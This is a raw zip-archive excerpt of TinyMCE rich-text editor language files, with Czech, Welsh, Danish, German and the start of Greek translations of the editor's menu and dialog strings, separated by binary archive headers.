"Table properties": "Vlastnosti tabulky",
"Bottom": "Dol\u016f",
"V Align": "Vertik\u00e1ln\u00ed zarovn\u00e1n\u00ed",
"Header": "Hlavi\u010dka",
"Right": "Vpravo",
"Insert column after": "Vlo\u017eit sloupec vpravo",
"Cols": "Sloupc\u016f",
"Insert row after": "Vlo\u017eit \u0159\u00e1dek pod",
"Width": "\u0160\u00ed\u0159ka",
"Cell properties": "Vlastnosti bu\u0148ky",
"Left": "Vlevo",
"Cut row": "Vyjmout \u0159\u00e1dek",
"Delete column": "Smazat sloupec",
"Center": "Na st\u0159ed",
"Merge cells": "Slou\u010dit bu\u0148ky",
"Insert template": "Vlo\u017eit \u0161ablonu",
"Templates": "\u0160ablony",
"Background color": "Barva pozad\u00ed",
"Custom...": "Vlastn\u00ed...",
"Custom color": "Vlastn\u00ed barva",
"No color": "Bez barvy",
"Text color": "Barva p\u00edsma",
"Show blocks": "Uk\u00e1zat bloky",
"Show invisible characters": "Zobrazit speci\u00e1ln\u00ed
znaky",
"Words: {0}": "Po\u010det slov: {0}",
"Insert": "Vlo\u017eit",
"File": "Soubor",
"Edit": "\u00dapravy",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "Editor. Stiskn\u011bte ALT-F9 pro menu,
ALT-F10 pro n\u00e1strojovou li\u0161tu a ALT-0 pro
n\u00e1pov\u011bdu.",
"Tools": "N\u00e1stroje",
"View": "Zobrazit",
"Table": "Tabulka",
"Format": "Form\u00e1t"
});PKR��[NG�FFtinymce/langs/cy.jsnu�[���tinymce.addI18n('cy',{
"Cut": "Torri",
"Heading 5": "Pennawd 5",
"Header 2": "Pennawd 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Dyw
eich porwr ddim yn cynnal mynediad uniongyrchol i'r clipfwrdd. Yn
hytrach defnyddiwch y bysellau llwybrau byr Ctrl+X\/C\/V.",
"Heading 4": "Pennawd 4",
"Div": "Div",
"Heading 2": "Pennawd 2",
"Paste": "Gludo",
"Close": "Cau",
"Font Family": "Teulu Ffont",
"Pre": "Pre",
"Align right": "Aliniad de",
"New document": "Dogfen newydd",
"Blockquote": "Dyfyniad bloc",
"Numbered list": "Rhestr rifol",
"Heading 1": "Pennawd 1",
"Headings": "Penawdau",
"Increase indent": "Cynyddu mewnoliad",
"Formats": "Fformatau",
"Headers": "Penawdau",
"Select all": "Dewis popeth",
"Header 3": "Pennawd 3",
"Blocks": "Blociau",
"Undo": "Dadwneud",
"Strikethrough": "Llinell drwodd",
"Bullet list": "Rhestr fwled",
"Header 1": "Pennawd 1",
"Superscript": "Uwchsgript",
"Clear formatting": "Clirio pob fformat",
"Font Sizes": "Meintiau Ffont",
"Subscript": "Is-sgript",
"Header 6": "Pennawd 6",
"Redo": "Ailwneud",
"Paragraph": "Paragraff",
"Ok": "Iawn",
"Bold": "Bras",
"Code": "Cod",
"Italic": "Italig",
"Align center": "Aliniad canol",
"Header 5": "Pennawd 5",
"Heading 6": "Pennawd 6",
"Heading 3": "Pennawd 3",
"Decrease indent": "Lleihau mewnoliad",
"Header 4": "Pennawd 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.": "Mae gludo nawr yn
gweithio yn y modd testun plaen.  Caiff testun plaen ei ludo nawr tan gaiff
yr opsiwn ei doglo i'w ddiffodd.",
"Underline": "Tanlinellu",
"Cancel": "Canslo",
"Justify": "Unioni",
"Inline": "Mewnlin",
"Copy": "Cop\u00efo",
"Align left": "Aliniad chwith",
"Visual aids": "Cymorth gweledol",
"Lower Greek": "Groeg Is",
"Square": "Sgw\u00e2r",
"Default": "Diofyn",
"Lower Alpha": "Alffa Is",
"Circle": "Cylch",
"Disc": "Disg",
"Upper Alpha": "Alffa Uwch",
"Upper Roman": "Rhufeinig Uwch",
"Lower Roman": "Rhufeinig Is",
"Id should start with a letter, followed only by letters, numbers,
dashes, dots, colons or underscores.": "Dylai Id gychwyn gyda
llythyren ac yna dim ond llythrennau, rhifau, llinellau toriad,dotiau,
colonau neu danlinellau.",
"Name": "Enw",
"Anchor": "Angor",
"Id": "Id",
"You have unsaved changes are you sure you want to navigate
away?": "Mae newidiadau heb eu cadw - ydych chi wir am symud i
ffwrdd?",
"Restore last draft": "Adfer y drafft olaf",
"Special character": "Nod arbennig",
"Source code": "Cod gwreiddiol",
"Language": "Iaith",
"Insert\/Edit code sample": "Mewnosod\/golygu sampl
cod",
"B": "Gl",
"R": "C",
"G": "Gw",
"Color": "Lliw",
"Right to left": "De i'r chwith",
"Left to right": "Chwith i'r dde",
"Emoticons": "Gwenogluniau",
"Robots": "Robotiaid",
"Document properties": "Priodweddau'r ddogfen",
"Title": "Teitl",
"Keywords": "Allweddeiriau",
"Encoding": "Amgodiad",
"Description": "Disgrifiad",
"Author": "Awdur",
"Fullscreen": "Sgrin llawn",
"Horizontal line": "Llinell lorweddol",
"Horizontal space": "Gofod llorweddol",
"Insert\/edit image": "Mewnosod\/golygu delwedd",
"General": "Cyffredinol",
"Advanced": "Uwch",
"Source": "Ffynhonnell",
"Border": "Border",
"Constrain proportions": "Gorfodi cyfrannedd",
"Vertical space": "Gofod fertigol",
"Image description": "Disgrifiad y ddelwedd",
"Style": "Arddull",
"Dimensions": "Dimensiynau",
"Insert image": "Mewnosod delwedd",
"Image": "Delwedd",
"Zoom in": "Chwyddo mewn",
"Contrast": "Cyferbynnedd",
"Back": "Nol",
"Gamma": "Gamma",
"Flip horizontally": "Fflipio llorweddol",
"Resize": "Ailfeintio",
"Sharpen": "Hogi",
"Zoom out": "Chwyddo allan",
"Image options": "Dewisiadau delwedd",
"Apply": "Rhoi ar waith",
"Brightness": "Disgleirdeb",
"Rotate clockwise": "Troi clocwedd",
"Rotate counterclockwise": "Troi gwrthgloc",
"Edit image": "Golygu delwedd",
"Color levels": "Lefelau Lliw",
"Crop": "Tocio",
"Orientation": "Cyfeiriadaeth",
"Flip vertically": "Fflipio fertigol",
"Invert": "Gwrthdroi",
"Date\/time": "Dyddiad\/amser",
"Insert date\/time": "Mewnosod dyddiad\/amser",
"Remove link": "Tynnu dolen",
"Url": "Url",
"Text to display": "Testun i'w ddangos",
"Anchors": "Angorau",
"Insert link": "Mewnosod dolen",
"Link": "Dolen",
"New window": "Ffenest newydd",
"None": "Dim",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "Mae'n debyg mai dolen
allanol yw'r URL hwn. Ydych chi am ychwanegu'r rhagddodiad
http:\/\/ ?",
"Paste or type a link": "Pastio neu deipio dolen",
"Target": "Targed",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "Mae'n debyg mai cyfeiriad
e-bost yw'r URL hwn. Ydych chi am ychwanegu'r rhagddoddiad
mailto:?",
"Insert\/edit link": "Mewnosod\/golygu dolen",
"Insert\/edit video": "Mewnosod\/golygu fideo",
"Media": "Cyfrwng",
"Alternative source": "Ffynhonnell amgen",
"Paste your embed code below:": "Gludwch eich cod mewnosod
isod:",
"Insert video": "Mewnosod fideo",
"Poster": "Poster",
"Insert\/edit media": "Mewnosod\/golygu cyfrwng",
"Embed": "Mewnosod",
"Nonbreaking space": "Bwlch heb dorri",
"Page break": "Toriad tudalen",
"Paste as text": "Gludo fel testun",
"Preview": "Rhagolwg",
"Print": "Argraffu",
"Save": "Cadw",
"Could not find the specified string.": "Methu
ffeindio'r llinyn hwnnw.",
"Replace": "Amnewid",
"Next": "Nesaf",
"Whole words": "Geiriau cyfan",
"Find and replace": "Chwilio ac amnewid",
"Replace with": "Amnewid gyda",
"Find": "Chwilio",
"Replace all": "Amnewid y cwbl",
"Match case": "Cas yn cyfateb",
"Prev": "Blaenorol",
"Spellcheck": "Sillafydd",
"Finish": "Gorffen",
"Ignore all": "Amwybyddu pob",
"Ignore": "Anwybyddu",
"Add to Dictionary": "Adio i'r Geiriadur",
"Insert row before": "Mewnosod rhes cyn",
"Rows": "Rhesi",
"Height": "Uchder",
"Paste row after": "Gludo rhes ar \u00f4l",
"Alignment": "Aliniad",
"Border color": "Lliw Border",
"Column group": "Gr\u0175p colofn",
"Row": "Rhes",
"Insert column before": "Mewnosod colofn cyn",
"Split cell": "Hollti celloedd",
"Cell padding": "Padio celloedd",
"Cell spacing": "Bylchiad celloedd",
"Row type": "Math y rhes",
"Insert table": "Mewnosod tabl",
"Body": "Corff",
"Caption": "Pennawd",
"Footer": "Troedyn",
"Delete row": "Dileu rhes",
"Paste row before": "Gludo rhes cyn",
"Scope": "Cwmpas",
"Delete table": "Dileu'r tabl",
"H Align": "Aliniad Ll",
"Top": "Brig",
"Header cell": "Cell bennawd",
"Column": "Colofn",
"Row group": "Gr\u0175p rhes",
"Cell": "Cell",
"Middle": "Canol",
"Cell type": "Math y gell",
"Copy row": "Cop\u00efo rhes",
"Row properties": "Priodweddau rhes",
"Table properties": "Priodweddau tabl",
"Bottom": "Gwaelod",
"V Align": "Aliniad F",
"Header": "Pennyn",
"Right": "De",
"Insert column after": "Mewnosod colofn ar \u00f4l",
"Cols": "Colofnau",
"Insert row after": "Mewnosod rhes ar \u00f4l",
"Width": "Lled",
"Cell properties": "Priodweddau'r gell",
"Left": "Chwith",
"Cut row": "Torri rhes",
"Delete column": "Dileu colofn",
"Center": "Canol",
"Merge cells": "Cyfuno celloedd",
"Insert template": "Mewnosod templed",
"Templates": "Templedi",
"Background color": "Lliw cefndir",
"Custom...": "Personol...",
"Custom color": "Lliw personol",
"No color": "Dim Lliw",
"Text color": "Lliw testun",
"Table of Contents": "Tabl Cynnwys",
"Show blocks": "Dangos blociau",
"Show invisible characters": "Dangos nodau anweledig",
"Words: {0}": "Geiriau: {0}",
"Insert": "Mewnosod",
"File": "Ffeil",
"Edit": "Golygu",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "Ardal Testun Uwch. Pwyswch ALT-F9 ar
gyfer y ddewislen, Pwyswch ALT-F10 ar gyfer y bar offer. Pwyswch ALT-0 am
gymorth",
"Tools": "Offer",
"View": "Dangos",
"Table": "Tabl",
"Format": "Fformat"
});PKR��[�šъ�tinymce/langs/da.jsnu�[���tinymce.addI18n('da',{
"Cut": "Klip",
"Heading 5": "Overskrift 5",
"Header 2": "Overskrift 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Din
browser underst\u00f8tter ikke direkte adgang til clipboard. Benyt
Ctrl+X\/C\/ keybord shortcuts i stedet for.",
"Heading 4": "Overskrift 4",
"Div": "Div",
"Heading 2": "Overskrift 2",
"Paste": "Inds\u00e6t",
"Close": "Luk",
"Font Family": "Skrifttype",
"Pre": "Pre",
"Align right": "H\u00f8jrejusteret",
"New document": "Nyt dokument",
"Blockquote": "Indrykning",
"Numbered list": "Nummerering",
"Heading 1": "Overskrift 1",
"Headings": "Overskrifter",
"Increase indent": "For\u00f8g indrykning",
"Formats": "Formater",
"Headers": "Overskrifter",
"Select all": "V\u00e6lg alle",
"Header 3": "Overskrift 3",
"Blocks": "Blokke",
"Undo": "Fortryd",
"Strikethrough": "Gennemstreg",
"Bullet list": "Punkt tegn",
"Header 1": "Overskrift 1",
"Superscript": "H\u00e6vet",
"Clear formatting": "Nulstil formattering",
"Font Sizes": "Skriftst\u00f8rrelse",
"Subscript": "S\u00e6nket",
"Header 6": "Overskrift 6",
"Redo": "Genopret",
"Paragraph": "S\u00e6tning",
"Ok": "Ok",
"Bold": "Fed",
"Code": "Code",
"Italic": "Kursiv",
"Align center": "Centreret",
"Header 5": "Overskrift 5",
"Heading 6": "Overskrift 6",
"Heading 3": "Overskrift 3",
"Decrease indent": "Formindsk indrykning",
"Header 4": "Overskrift 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.": "S\u00e6t ind er
indstillet til at inds\u00e6tte som ren tekst. Indhold bliver nu indsat
uden formatering indtil du \u00e6ndrer indstillingen.",
"Underline": "Understreg",
"Cancel": "Fortryd",
"Justify": "Justering",
"Inline": "Inline",
"Copy": "Kopier",
"Align left": "Venstrejusteret",
"Visual aids": "Visuel hj\u00e6lp",
"Lower Greek": "Lower Gr\u00e6sk",
"Square": "Kvadrat",
"Default": "Standard",
"Lower Alpha": "Lower Alpha",
"Circle": "Cirkel",
"Disc": "Disk",
"Upper Alpha": "Upper Alpha",
"Upper Roman": "Upper Roman",
"Lower Roman": "Lower Roman",
"Id should start with a letter, followed only by letters, numbers,
dashes, dots, colons or underscores.": "Id b\u00f8r starte med et
bogstav, efterfulgt af bogstaver, tal, bindestreger, punktummer, koloner
eller underscores.",
"Name": "Navn",
"Anchor": "Anchor",
"Id": "Id",
"You have unsaved changes are you sure you want to navigate
away?": "Du har ikke gemte \u00e6ndringer. Er du sikker p\u00e5
at du vil forts\u00e6tte?",
"Restore last draft": "Genopret sidste kladde",
"Special character": "Specielle tegn",
"Source code": "Kildekode",
"Language": "Sprog",
"Insert\/Edit code sample": "Inds\u00e6t\/Ret
kodeeksempel",
"B": "B",
"R": "R",
"G": "G",
"Color": "Farve",
"Right to left": "H\u00f8jre til venstre",
"Left to right": "Venstre til h\u00f8jre",
"Emoticons": "Emot-ikoner",
"Robots": "Robotter",
"Document properties": "Dokument egenskaber",
"Title": "Titel",
"Keywords": "S\u00f8geord",
"Encoding": "Kodning",
"Description": "Beskrivelse",
"Author": "Forfatter",
"Fullscreen": "Fuldsk\u00e6rm",
"Horizontal line": "Vandret linie",
"Horizontal space": "Vandret afstand",
"Insert\/edit image": "Inds\u00e6t\/ret billede",
"General": "Generet",
"Advanced": "Avanceret",
"Source": "Kilde",
"Border": "Kant",
"Constrain proportions": "Behold propertioner",
"Vertical space": "Lodret afstand",
"Image description": "Billede beskrivelse",
"Style": "Stil",
"Dimensions": "Dimensioner",
"Insert image": "Inds\u00e6t billede",
"Image": "Billede",
"Zoom in": "Zoom ind",
"Contrast": "Kontrast",
"Back": "Tilbage",
"Gamma": "Gamma",
"Flip horizontally": "Flip horisontalt",
"Resize": "Skaler",
"Sharpen": "G\u00f8r skarpere",
"Zoom out": "Zoom ud",
"Image options": "Billede indstillinger",
"Apply": "Anvend",
"Brightness": "Lysstyrke",
"Rotate clockwise": "Drej med urets retning",
"Rotate counterclockwise": "Drej modsat urets retning",
"Edit image": "Rediger billede",
"Color levels": "Farve niveauer",
"Crop": "Besk\u00e6r",
"Orientation": "Retning",
"Flip vertically": "Flip vertikalt",
"Invert": "Inverter",
"Date\/time": "Dato\/klokkeslet",
"Insert date\/time": "Inds\u00e6t dato\/klokkeslet",
"Remove link": "Fjern link",
"Url": "Url",
"Text to display": "Vis tekst",
"Anchors": "Ankre",
"Insert link": "Inds\u00e6t link",
"Link": "Link",
"New window": "Nyt vindue",
"None": "Ingen",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "URLen som du angav ser ud til
at v\u00e6re et eksternt link. \u00d8nsker du at tilf\u00f8je det
kr\u00e6vede prefiks http:\/\/ ?",
"Paste or type a link": "Inds\u00e6t eller skriv et
link",
"Target": "Target",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "URLen som du angav ser ud til at
v\u00e6re en email adresse. \u00d8nsker du at tilf\u00f8je det kr\u00e6vede
prefiks  mailto: ?",
"Insert\/edit link": "Inds\u00e6t\/ret link",
"Insert\/edit video": "Inds\u00e6t\/ret video",
"Media": "Medier",
"Alternative source": "Alternativ kilde",
"Paste your embed code below:": "Inds\u00e6t din embed kode
herunder:",
"Insert video": "Inds\u00e6t video",
"Poster": "Poster",
"Insert\/edit media": "Inds\u00e6t\/ret medier",
"Embed": "Integrer",
"Nonbreaking space": "H\u00e5rdt mellemrum",
"Page break": "Sideskift",
"Paste as text": "Inds\u00e6t som ren tekst",
"Preview": "Forh\u00e5ndsvisning",
"Print": "Udskriv",
"Save": "Gem",
"Could not find the specified string.": "Kunne ikke finde
s\u00f8getekst",
"Replace": "Erstat",
"Next": "N\u00e6ste",
"Whole words": "Hele ord",
"Find and replace": "Find og erstat",
"Replace with": "Erstat med",
"Find": "Find",
"Replace all": "Erstat alt",
"Match case": "STORE og sm\u00e5 bogstaver",
"Prev": "Forrige",
"Spellcheck": "Stavekontrol",
"Finish": "F\u00e6rdig",
"Ignore all": "Ignorer alt",
"Ignore": "Ignorer",
"Add to Dictionary": "Tilf\u00f8j til ordbog",
"Insert row before": "Inds\u00e6t r\u00e6kke f\u00f8r",
"Rows": "R\u00e6kker",
"Height": "H\u00f8jde",
"Paste row after": "Inds\u00e6t r\u00e6kke efter",
"Alignment": "Tilpasning",
"Border color": "Kant farve",
"Column group": "Kolonne gruppe",
"Row": "R\u00e6kke",
"Insert column before": "Inds\u00e6t kolonne f\u00f8r",
"Split cell": "Split celle",
"Cell padding": "Celle padding",
"Cell spacing": "Celle afstand",
"Row type": "R\u00e6kke type",
"Insert table": "Inds\u00e6t tabel",
"Body": "Krop",
"Caption": "Tekst",
"Footer": "Sidefod",
"Delete row": "Slet r\u00e6kke",
"Paste row before": "Inds\u00e6t r\u00e6kke f\u00f8r",
"Scope": "Anvendelsesomr\u00e5de",
"Delete table": "Slet tabel",
"H Align": "H juster",
"Top": "Top",
"Header cell": "Sidehoved celle",
"Column": "Kolonne",
"Row group": "R\u00e6kke gruppe",
"Cell": "Celle",
"Middle": "Midt",
"Cell type": "Celle type",
"Copy row": "Kopier r\u00e6kke",
"Row properties": "R\u00e6kke egenskaber",
"Table properties": "Tabel egenskaber",
"Bottom": "Bund",
"V Align": "V juster",
"Header": "Sidehoved",
"Right": "H\u00f8jre",
"Insert column after": "Inds\u00e6t kolonne efter",
"Cols": "Kolonne",
"Insert row after": "Inds\u00e6t r\u00e6kke efter",
"Width": "Bredde",
"Cell properties": "Celle egenskaber",
"Left": "Venstre",
"Cut row": "Klip r\u00e6kke",
"Delete column": "Slet kolonne",
"Center": "Centrering",
"Merge cells": "Flet celler",
"Insert template": "Inds\u00e6t skabelon",
"Templates": "Skabeloner",
"Background color": "Baggrunds farve",
"Custom...": "Brugerdefineret...",
"Custom color": "Brugerdefineret farve",
"No color": "Ingen farve",
"Text color": "Tekst farve",
"Table of Contents": "Indholdsfortegnelse",
"Show blocks": "Vis klokke",
"Show invisible characters": "Vis usynlige tegn",
"Words: {0}": "Ord: {0}",
"Insert": "Inds\u00e6t",
"File": "Fil",
"Edit": "Rediger",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "Rich Text omr\u00e5de. Tryk ALT-F9 for
menu. Tryk ALT-F10 for toolbar. Tryk ALT-0 for hj\u00e6lp",
"Tools": "V\u00e6rkt\u00f8j",
"View": "Vis",
"Table": "Tabel",
"Format": "Format"
});PKR��[]��"�"tinymce/langs/de.jsnu�[���tinymce.addI18n('de',{
"Cut": "Ausschneiden",
"Heading 5": "\u00dcberschrift 5",
"Header 2": "\u00dcberschrift 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Ihr
Browser unterst\u00fctzt leider keinen direkten Zugriff auf die
Zwischenablage. Bitte benutzen Sie die Strg + X \/ C \/ V
Tastenkombinationen.",
"Heading 4": "\u00dcberschrift 4",
"Div": "Textblock",
"Heading 2": "\u00dcberschrift 2",
"Paste": "Einf\u00fcgen",
"Close": "Schlie\u00dfen",
"Font Family": "Schriftart",
"Pre": "Vorformatierter Text",
"Align right": "Rechtsb\u00fcndig ausrichten",
"New document": "Neues Dokument",
"Blockquote": "Zitat",
"Numbered list": "Nummerierte Liste",
"Heading 1": "\u00dcberschrift 1",
"Headings": "\u00dcberschriften",
"Increase indent": "Einzug vergr\u00f6\u00dfern",
"Formats": "Formate",
"Headers": "\u00dcberschriften",
"Select all": "Alles ausw\u00e4hlen",
"Header 3": "\u00dcberschrift 3",
"Blocks": "Absatzformate",
"Undo": "R\u00fcckg\u00e4ngig",
"Strikethrough": "Durchgestrichen",
"Bullet list": "Aufz\u00e4hlung",
"Header 1": "\u00dcberschrift 1",
"Superscript": "Hochgestellt",
"Clear formatting": "Formatierung entfernen",
"Font Sizes": "Schriftgr\u00f6\u00dfe",
"Subscript": "Tiefgestellt",
"Header 6": "\u00dcberschrift 6",
"Redo": "Wiederholen",
"Paragraph": "Absatz",
"Ok": "Ok",
"Bold": "Fett",
"Code": "Quelltext",
"Italic": "Kursiv",
"Align center": "Zentriert ausrichten",
"Header 5": "\u00dcberschrift 5",
"Heading 6": "\u00dcberschrift 6",
"Heading 3": "\u00dcberschrift 3",
"Decrease indent": "Einzug verkleinern",
"Header 4": "\u00dcberschrift 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.": "Einf\u00fcgen ist nun
im einfachen Textmodus. Inhalte werden ab jetzt als unformatierter Text
eingef\u00fcgt, bis Sie diese Einstellung wieder ausschalten!",
"Underline": "Unterstrichen",
"Cancel": "Abbrechen",
"Justify": "Blocksatz",
"Inline": "Zeichenformate",
"Copy": "Kopieren",
"Align left": "Linksb\u00fcndig ausrichten",
"Visual aids": "Visuelle Hilfen",
"Lower Greek": "Griechische Kleinbuchstaben",
"Square": "Quadrat",
"Default": "Standard",
"Lower Alpha": "Kleinbuchstaben",
"Circle": "Kreis",
"Disc": "Punkt",
"Upper Alpha": "Gro\u00dfbuchstaben",
"Upper Roman": "R\u00f6mische Zahlen
(Gro\u00dfbuchstaben)",
"Lower Roman": "R\u00f6mische Zahlen
(Kleinbuchstaben)",
"Id should start with a letter, followed only by letters, numbers,
dashes, dots, colons or underscores.": "Die Kennung sollte mit
einem Buchstaben anfangen. Nachfolgend nur Buchstaben, Zahlen, Striche
(Minus), Punkte, Kommas und Unterstriche.",
"Name": "Name",
"Anchor": "Textmarke",
"Id": "Kennung",
"You have unsaved changes are you sure you want to navigate
away?": "Die \u00c4nderungen wurden noch nicht gespeichert, sind
Sie sicher, dass Sie diese Seite verlassen wollen?",
"Restore last draft": "Letzten Entwurf
wiederherstellen",
"Special character": "Sonderzeichen",
"Source code": "Quelltext",
"Language": "Sprache",
"Insert\/Edit code sample": "Codebeispiel
einf\u00fcgen\/bearbeiten",
"B": "B",
"R": "R",
"G": "G",
"Color": "Farbe",
"Right to left": "Von rechts nach links",
"Left to right": "Von links nach rechts",
"Emoticons": "Emoticons",
"Robots": "Robots",
"Document properties": "Dokumenteigenschaften",
"Title": "Titel",
"Keywords": "Sch\u00fcsselw\u00f6rter",
"Encoding": "Zeichenkodierung",
"Description": "Beschreibung",
"Author": "Verfasser",
"Fullscreen": "Vollbild",
"Horizontal line": "Horizontale Linie",
"Horizontal space": "Horizontaler Abstand",
"Insert\/edit image": "Bild einf\u00fcgen\/bearbeiten",
"General": "Allgemein",
"Advanced": "Erweitert",
"Source": "Quelle",
"Border": "Rahmen",
"Constrain proportions": "Seitenverh\u00e4ltnis
beibehalten",
"Vertical space": "Vertikaler Abstand",
"Image description": "Bildbeschreibung",
"Style": "Stil",
"Dimensions": "Abmessungen",
"Insert image": "Bild einf\u00fcgen",
"Image": "Bild",
"Zoom in": "Ansicht vergr\u00f6\u00dfern",
"Contrast": "Kontrast",
"Back": "Zur\u00fcck",
"Gamma": "Gamma",
"Flip horizontally": "Horizontal spiegeln",
"Resize": "Skalieren",
"Sharpen": "Sch\u00e4rfen",
"Zoom out": "Ansicht verkleinern",
"Image options": "Bildeigenschaften",
"Apply": "Anwenden",
"Brightness": "Helligkeit",
"Rotate clockwise": "Im Uhrzeigersinn drehen",
"Rotate counterclockwise": "Gegen den Uhrzeigersinn
drehen",
"Edit image": "Bild bearbeiten",
"Color levels": "Farbwerte",
"Crop": "Bescheiden",
"Orientation": "Ausrichtung",
"Flip vertically": "Vertikal spiegeln",
"Invert": "Invertieren",
"Date\/time": "Datum\/Uhrzeit",
"Insert date\/time": "Datum\/Uhrzeit einf\u00fcgen ",
"Remove link": "Link entfernen",
"Url": "URL",
"Text to display": "Anzuzeigender Text",
"Anchors": "Textmarken",
"Insert link": "Link einf\u00fcgen",
"Link": "Link",
"New window": "Neues Fenster",
"None": "Keine",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "Diese Adresse scheint ein
externer Link zu sein. M\u00f6chten Sie das dazu ben\u00f6tigte
\"http:\/\/\" voranstellen?",
"Paste or type a link": "Link einf\u00fcgen oder
eintippen",
"Target": "Ziel",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "Diese Adresse scheint eine
E-Mail-Adresse zu sein. M\u00f6chten Sie das dazu ben\u00f6tigte
\"mailto:\" voranstellen?",
"Insert\/edit link": "Link einf\u00fcgen\/bearbeiten",
"Insert\/edit video": "Video
einf\u00fcgen\/bearbeiten",
"Media": "Medium",
"Alternative source": "Alternative Quelle",
"Paste your embed code below:": "F\u00fcgen Sie Ihren
Einbettungscode hier ein:",
"Insert video": "Video einf\u00fcgen",
"Poster": "Poster",
"Insert\/edit media": "Medien
einf\u00fcgen\/bearbeiten",
"Embed": "Einbetten",
"Nonbreaking space": "Gesch\u00fctztes Leerzeichen",
"Page break": "Seitenumbruch",
"Paste as text": "Als Text einf\u00fcgen",
"Preview": "Vorschau",
"Print": "Drucken",
"Save": "Speichern",
"Could not find the specified string.": "Die Zeichenfolge
wurde nicht gefunden.",
"Replace": "Ersetzen",
"Next": "Weiter",
"Whole words": "Nur ganze W\u00f6rter",
"Find and replace": "Suchen und ersetzen",
"Replace with": "Ersetzen durch",
"Find": "Suchen",
"Replace all": "Alles ersetzen",
"Match case": "Gro\u00df-\/Kleinschreibung beachten",
"Prev": "Zur\u00fcck",
"Spellcheck": "Rechtschreibpr\u00fcfung",
"Finish": "Ende",
"Ignore all": "Alles Ignorieren",
"Ignore": "Ignorieren",
"Add to Dictionary": "Zum W\u00f6rterbuch
hinzuf\u00fcgen",
"Insert row before": "Neue Zeile davor einf\u00fcgen ",
"Rows": "Zeilen",
"Height": "H\u00f6he",
"Paste row after": "Zeile danach einf\u00fcgen",
"Alignment": "Ausrichtung",
"Border color": "Rahmenfarbe",
"Column group": "Spaltengruppe",
"Row": "Zeile",
"Insert column before": "Neue Spalte davor
einf\u00fcgen",
"Split cell": "Zelle aufteilen",
"Cell padding": "Zelleninnenabstand",
"Cell spacing": "Zellenabstand",
"Row type": "Zeilentyp",
"Insert table": "Tabelle einf\u00fcgen",
"Body": "Inhalt",
"Caption": "Beschriftung",
"Footer": "Fu\u00dfzeile",
"Delete row": "Zeile l\u00f6schen",
"Paste row before": "Zeile davor einf\u00fcgen",
"Scope": "G\u00fcltigkeitsbereich",
"Delete table": "Tabelle l\u00f6schen",
"H Align": "Horizontale Ausrichtung",
"Top": "Oben",
"Header cell": "Kopfzelle",
"Column": "Spalte",
"Row group": "Zeilengruppe",
"Cell": "Zelle",
"Middle": "Mitte",
"Cell type": "Zellentyp",
"Copy row": "Zeile kopieren",
"Row properties": "Zeileneigenschaften",
"Table properties": "Tabelleneigenschaften",
"Bottom": "Unten",
"V Align": "Vertikale Ausrichtung",
"Header": "Kopfzeile",
"Right": "Rechtsb\u00fcndig",
"Insert column after": "Neue Spalte danach
einf\u00fcgen",
"Cols": "Spalten",
"Insert row after": "Neue Zeile danach einf\u00fcgen",
"Width": "Breite",
"Cell properties": "Zelleneigenschaften",
"Left": "Linksb\u00fcndig",
"Cut row": "Zeile ausschneiden",
"Delete column": "Spalte l\u00f6schen",
"Center": "Zentriert",
"Merge cells": "Zellen verbinden",
"Insert template": "Vorlage einf\u00fcgen ",
"Templates": "Vorlagen",
"Background color": "Hintergrundfarbe",
"Custom...": "Benutzerdefiniert...",
"Custom color": "Benutzerdefinierte Farbe",
"No color": "Keine Farbe",
"Text color": "Textfarbe",
"Table of Contents": "Inhaltsverzeichnis",
"Show blocks": "Bl\u00f6cke anzeigen",
"Show invisible characters": "Unsichtbare Zeichen
anzeigen",
"Words: {0}": "W\u00f6rter: {0}",
"Insert": "Einf\u00fcgen",
"File": "Datei",
"Edit": "Bearbeiten",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "Rich-Text- Area. Dr\u00fccken Sie ALT-F9
f\u00fcr das Men\u00fc. Dr\u00fccken Sie ALT-F10 f\u00fcr Symbolleiste.
Dr\u00fccken Sie ALT-0 f\u00fcr Hilfe",
"Tools": "Werkzeuge",
"View": "Ansicht",
"Table": "Tabelle",
"Format": "Format"
});
PKR��[yv�M�Mtinymce/langs/el.jsnu�[���tinymce.addI18n('el',{
"Cut": "\u0391\u03c0\u03bf\u03ba\u03bf\u03c0\u03ae",
"Header 2":
"\u039a\u03b5\u03c6\u03b1\u03bb\u03af\u03b4\u03b1 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "\u039f
\u03c0\u03b5\u03c1\u03b9\u03b7\u03b3\u03b7\u03c4\u03ae\u03c2
\u03c3\u03b1\u03c2 \u03b4\u03b5\u03bd
\u03c5\u03c0\u03bf\u03c3\u03c4\u03b7\u03c1\u03af\u03b6\u03b5\u03b9
\u03ac\u03bc\u03b5\u03c3\u03b7
\u03c0\u03c1\u03cc\u03c3\u03b2\u03b1\u03c3\u03b7 \u03c3\u03c4\u03bf
\u03c0\u03c1\u03cc\u03c7\u03b5\u03b9\u03c1\u03bf.
\u03a0\u03b1\u03c1\u03b1\u03ba\u03b1\u03bb\u03ce
\u03c7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03ae\u03c3\u03c4\u03b5
\u03c4\u03b9\u03c2
\u03c3\u03c5\u03bd\u03c4\u03bf\u03bc\u03b5\u03cd\u03c3\u03b5\u03b9\u03c2
